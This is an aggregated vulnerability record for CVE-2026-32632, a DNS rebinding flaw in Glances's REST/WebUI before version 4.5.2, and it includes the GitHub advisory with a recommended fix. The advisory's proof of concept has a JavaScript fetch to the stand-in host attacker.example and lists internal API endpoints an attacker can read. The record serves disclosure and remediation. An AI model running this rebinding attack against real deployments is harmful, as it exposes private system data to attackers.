{"id":"CVE-2026-32632","aliases":["DEBIAN-CVE-2026-32632","EUVD-2026-12925","GHSA-hhcg-r27j-fhv9","PYSEC-2026-2171","UBUNTU-CVE-2026-32632","openSUSE-SU-2026:10415-1"],"status":"published","title":"Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding","description":"Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.","severity":{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00196,"percentile":0.09331,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-346"],"published":"2026-03-16T16:34:23Z","modified":"2026-10-28T02:30:23Z","fixes":[{"ecosystem":"PyPI","package":"glances","fixed_in":["4.5.2"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"glances","fixed_in":["4.5.2+dfsg-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.2"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.1.1+dfsg-1","3.4.0.3+dfsg-1","4.0.5+dfsg-1","4.1.2.1+dfsg-1","4.2.1+dfsg-1","4.3.0.8+dfsg-1","4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1","4.5.5+dfsg-1","4.5.6+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1","4.5.2+dfsg-1","4.5.3.2+dfsg-1","4.5.4+dfsg-1","4.5.5+dfsg-1","4.5.6+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.2+dfsg-1"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1","4.5.1+dfsg-1"]},{"source":"osv","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.2"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1"]},{"source":"osv","ecosystem":"PyPI","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.2"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3-1build1","2.3-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.10-2","2.11.1-1","2.11.1-2","2.11.1-3","2.11.1-3ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.0-1","3.1.1-1","3.1.3-1","3.1.3-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.5-1","3.2.3.1+dfsg-1","3.2.4.2+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.4.0.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.0.8+dfsg-1","4.3.1+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.3+dfsg-1","4.5.4+dfsg-1","4.5.5+dfsg-1","4.5.6+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.3.1+dfsg-1","4.3.3+dfsg-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-Glances","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.2-1.1"}]}],"bundled":8}],"products":[{"vendor":"nicolargo","product":"glances"}],"references":[{"url":"https://github.com/nicolargo/glances/security/advisories/GHSA-hhcg-r27j-fhv9","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","evidence","report"]},{"url":"https://github.com/nicolargo/glances/commit/5850c564ee10804fdf884823b9c210eb954dd1f9","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://github.com/nicolargo/glances/releases/tag/v4.5.2","tags":["x_refsource_MISC","Release Notes","web","advisory","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32632","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-hhcg-r27j-fhv9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/32xxx/CVE-2026-32632.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-32632","tags":["advisory"]},{"url":"https://github.com/nicolargo/glances","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-32632","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-32632","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32596","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32608","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32609","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32610","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32611","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32632","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32633","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32634","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-32632","title":"Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding","description":"Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.","status":"published","published":"2026-03-18T17:47:25.929Z","modified":"2026-03-18T18:15:59.648Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-346"],"updated_at":"2026-11-02T14:19:57.47301Z"}],"euvd":[{"id":"EUVD-2026-12925","description":"Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.","status":"published","published":"2026-03-18T17:47:25Z","modified":"2026-03-18T18:15:59Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:32.813864Z"}],"ghsa":[{"id":"GHSA-hhcg-r27j-fhv9","title":"Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding","description":"## Summary\n\nGlances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist.\n\nAs a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.\n\nThis is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.\n\n## Details\n\nThe MCP endpoint now has explicit host-based transport security:\n\n```python\n# glances/outputs/glances_mcp.py\nself.mcp_allowed_hosts = [\"localhost\", \"127.0.0.1\"]\n...\nreturn TransportSecuritySettings(\n    allowed_hosts=allowed_hosts,\n    allowed_origins=allowed_origins,\n)\n```\n\nHowever, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:\n\n```python\n# glances/outputs/glances_restful_api.py\nself._app = FastAPI(default_response_class=GlancesJSONResponse)\n...\nself._app.add_middleware(\n    CORSMiddleware,\n    allow_origins=config.get_list_value('outputs', 'cors_origins', default=[\"*\"]),\n    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),\n    allow_methods=config.get_list_value('outputs', 'cors_methods', default=[\"*\"]),\n    allow_headers=config.get_list_value('outputs', 'cors_headers', default=[\"*\"]),\n)\n...\nif self.args.password and self._jwt_handler is not None:\n    self._app.include_router(self._token_router())\nself._app.include_router(self._router())\n```\n\nThere is no `TrustedHostMiddleware`, no comparison against the configured bind host, and no allowlist enforcement for HTTP `Host` values on the REST/WebUI surface.\n\nThe default bind configuration also exposes the service on all interfaces:\n\n```python\n# glances/main.py\nparser.add_argument(\n    '-B',\n    '--bind',\n    default='0.0.0.0',\n    dest='bind_address',\n    help='bind server to the given IPv4/IPv6 address or hostname',\n)\n```\n\nThis combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.\n\nThe token endpoint is also mounted on the same unprotected FastAPI app:\n\n```python\n# glances/outputs/glances_restful_api.py\ndef _token_router(self) -\u003e APIRouter:\n    ...\n    router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[])\n```\n\n## Why This Is Exploitable\n\nIn a DNS rebinding attack:\n\n1. The attacker serves JavaScript from `https://attacker.example`.\n2. The victim visits that page while a Glances instance is reachable on the victim network.\n3. The attacker's DNS for `attacker.example` is rebound from the attacker's server to the Glances IP address.\n4. The victim browser now sends same-origin requests to `https://attacker.example`, but those requests are delivered to Glances.\n5. Because the Glances REST/WebUI app does not validate the `Host` header or enforce an allowed-host policy, it serves the response.\n6. The attacker-controlled JavaScript can read the response as same-origin content.\n\nThe MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.\n\n## Proof of Concept\n\nThis issue is code-validated by inspection of the current implementation:\n\n- REST/WebUI/token are all mounted on a plain `FastAPI(...)` app\n- no `TrustedHostMiddleware` or equivalent host validation is applied\n- default bind is `0.0.0.0`\n- MCP has separate rebinding protection, showing the project already recognizes the threat model\n\nIn a live deployment, the expected verification is:\n\n```bash\n# Victim-accessible Glances service\nglances -w\n\n# Attacker-controlled rebinding domain first resolves to attacker infra,\n# then rebinds to the victim-local Glances IP.\n# After rebind, attacker JS can fetch:\nfetch(\"http://attacker.example:61208/api/4/status\")\n  .then(r =\u003e r.text())\n  .then(console.log)\n```\n\nAnd if the operator exposes Glances without `--password` (supported and common), the attacker can read endpoints such as:\n\n```bash\nGET /api/4/status\nGET /api/4/all\nGET /api/4/config\nGET /api/4/args\nGET /api/4/serverslist\n```\n\nEven on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.\n\n## Impact\n\n- **Remote read of local/internal REST data:** DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context.\n- **Bypass of origin-based browser isolation:** Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin.\n- **High-value chaining surface:** This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints.\n- **Token surface exposure:** The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.\n\n## Recommended Fix\n\nApply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:\n\n```python\nfrom starlette.middleware.trustedhost import TrustedHostMiddleware\n\nallowed_hosts = config.get_list_value(\n    'outputs',\n    'allowed_hosts',\n    default=['localhost', '127.0.0.1'],\n)\n\nself._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)\n```\n\nAt minimum:\n\n- reject requests whose `Host` header does not match an explicit allowlist\n- do not rely on `0.0.0.0` bind semantics as an access-control boundary\n- document that reverse-proxy deployments must set a strict host allowlist\n\n## References\n\n- `glances/outputs/glances_mcp.py`\n- `glances/outputs/glances_restful_api.py`\n- `glances/main.py`","status":"published","published":"2026-03-16T16:34:23Z","modified":"2026-03-18T21:48:41Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-346"],"updated_at":"2026-11-02T14:39:37.554665Z"}],"nvd":[{"id":"CVE-2026-32632","description":"Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.","status":"published","published":"2026-03-18T18:16:28.76Z","modified":"2026-06-17T10:36:08.183Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-346"],"updated_at":"2026-11-02T14:12:09.735529Z"}],"osv":[{"id":"CVE-2026-32632","title":"Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding","description":"Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.","status":"published","published":"2026-03-18T17:47:25.929Z","modified":"2026-10-28T02:30:23.205625092Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-346"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"DEBIAN-CVE-2026-32632","description":"Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.","status":"published","published":"2026-03-18T18:16:28.76Z","modified":"2026-10-01T03:03:03.931984167Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:45:54.232518Z"},{"id":"GHSA-hhcg-r27j-fhv9","title":"Glances's REST/WebUI Lacks Host Validation and Remains Exposed to DNS Rebinding","description":"## Summary\n\nGlances recently added DNS rebinding protection for the MCP endpoint, but the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist.\n\nAs a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin.\n\nThis is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target.\n\n## Details\n\nThe MCP endpoint now has explicit host-based transport security:\n\n```python\n# glances/outputs/glances_mcp.py\nself.mcp_allowed_hosts = [\"localhost\", \"127.0.0.1\"]\n...\nreturn TransportSecuritySettings(\n    allowed_hosts=allowed_hosts,\n    allowed_origins=allowed_origins,\n)\n```\n\nHowever, the main FastAPI application for REST/WebUI/token routes is initialized without any host validation middleware:\n\n```python\n# glances/outputs/glances_restful_api.py\nself._app = FastAPI(default_response_class=GlancesJSONResponse)\n...\nself._app.add_middleware(\n    CORSMiddleware,\n    allow_origins=config.get_list_value('outputs', 'cors_origins', default=[\"*\"]),\n    allow_credentials=config.get_bool_value('outputs', 'cors_credentials', default=True),\n    allow_methods=config.get_list_value('outputs', 'cors_methods', default=[\"*\"]),\n    allow_headers=config.get_list_value('outputs', 'cors_headers', default=[\"*\"]),\n)\n...\nif self.args.password and self._jwt_handler is not None:\n    self._app.include_router(self._token_router())\nself._app.include_router(self._router())\n```\n\nThere is no `TrustedHostMiddleware`, no comparison against the configured bind host, and no allowlist enforcement for HTTP `Host` values on the REST/WebUI surface.\n\nThe default bind configuration also exposes the service on all interfaces:\n\n```python\n# glances/main.py\nparser.add_argument(\n    '-B',\n    '--bind',\n    default='0.0.0.0',\n    dest='bind_address',\n    help='bind server to the given IPv4/IPv6 address or hostname',\n)\n```\n\nThis combination means the HTTP service will typically be reachable from the victim machine under an attacker-selected hostname once DNS is rebound to the Glances listener.\n\nThe token endpoint is also mounted on the same unprotected FastAPI app:\n\n```python\n# glances/outputs/glances_restful_api.py\ndef _token_router(self) -\u003e APIRouter:\n    ...\n    router.add_api_route(f'{base_path}/token', self._api_token, methods=['POST'], dependencies=[])\n```\n\n## Why This Is Exploitable\n\nIn a DNS rebinding attack:\n\n1. The attacker serves JavaScript from `https://attacker.example`.\n2. The victim visits that page while a Glances instance is reachable on the victim network.\n3. The attacker's DNS for `attacker.example` is rebound from the attacker's server to the Glances IP address.\n4. The victim browser now sends same-origin requests to `https://attacker.example`, but those requests are delivered to Glances.\n5. Because the Glances REST/WebUI app does not validate the `Host` header or enforce an allowed-host policy, it serves the response.\n6. The attacker-controlled JavaScript can read the response as same-origin content.\n\nThe MCP code already acknowledges this threat model and implements host-level defenses. The REST/WebUI code path does not.\n\n## Proof of Concept\n\nThis issue is code-validated by inspection of the current implementation:\n\n- REST/WebUI/token are all mounted on a plain `FastAPI(...)` app\n- no `TrustedHostMiddleware` or equivalent host validation is applied\n- default bind is `0.0.0.0`\n- MCP has separate rebinding protection, showing the project already recognizes the threat model\n\nIn a live deployment, the expected verification is:\n\n```bash\n# Victim-accessible Glances service\nglances -w\n\n# Attacker-controlled rebinding domain first resolves to attacker infra,\n# then rebinds to the victim-local Glances IP.\n# After rebind, attacker JS can fetch:\nfetch(\"http://attacker.example:61208/api/4/status\")\n  .then(r =\u003e r.text())\n  .then(console.log)\n```\n\nAnd if the operator exposes Glances without `--password` (supported and common), the attacker can read endpoints such as:\n\n```bash\nGET /api/4/status\nGET /api/4/all\nGET /api/4/config\nGET /api/4/args\nGET /api/4/serverslist\n```\n\nEven on password-enabled deployments, the missing host validation still leaves the REST/WebUI/token surface reachable through rebinding and increases the value of chains with other authenticated browser issues.\n\n## Impact\n\n- **Remote read of local/internal REST data:** DNS rebinding can expose Glances instances that were intended to be reachable only from a local or internal network context.\n- **Bypass of origin-based browser isolation:** Same-origin policy no longer protects the API once the browser accepts the attacker-controlled rebinding host as the origin.\n- **High-value chaining surface:** This expands the exploitability of previously identified Glances issues involving permissive CORS, credential-bearing API responses, and state-changing authenticated endpoints.\n- **Token surface exposure:** The JWT token route is mounted on the same host-unvalidated app and is therefore also reachable through the rebinding path.\n\n## Recommended Fix\n\nApply host allowlist enforcement to the main REST/WebUI FastAPI app, similar in spirit to the MCP hardening:\n\n```python\nfrom starlette.middleware.trustedhost import TrustedHostMiddleware\n\nallowed_hosts = config.get_list_value(\n    'outputs',\n    'allowed_hosts',\n    default=['localhost', '127.0.0.1'],\n)\n\nself._app.add_middleware(TrustedHostMiddleware, allowed_hosts=allowed_hosts)\n```\n\nAt minimum:\n\n- reject requests whose `Host` header does not match an explicit allowlist\n- do not rely on `0.0.0.0` bind semantics as an access-control boundary\n- document that reverse-proxy deployments must set a strict host allowlist\n\n## References\n\n- `glances/outputs/glances_mcp.py`\n- `glances/outputs/glances_restful_api.py`\n- `glances/main.py`","status":"published","published":"2026-03-16T16:34:23Z","modified":"2026-07-13T07:26:42.820956065Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-346"],"updated_at":"2026-11-02T15:46:49.28217Z"},{"id":"PYSEC-2026-2171","description":"Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.","status":"published","published":"2026-03-18T18:16:28.76Z","modified":"2026-07-13T07:15:31.598073816Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:55.537808Z"},{"id":"UBUNTU-CVE-2026-32632","description":"Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.","status":"published","published":"2026-03-18T18:16:00Z","modified":"2026-10-17T12:58:09.781025319Z","cvss":[{"version":"3.1","score":5.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"openSUSE-SU-2026:10415-1","title":"glances-common-4.5.2-1.1 on GA media","description":"These are all security issues fixed in the glances-common-4.5.2-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-03-24T00:00:00Z","modified":"2026-03-25T08:31:09.664222Z","updated_at":"2026-11-02T16:58:38.415593Z"}]}}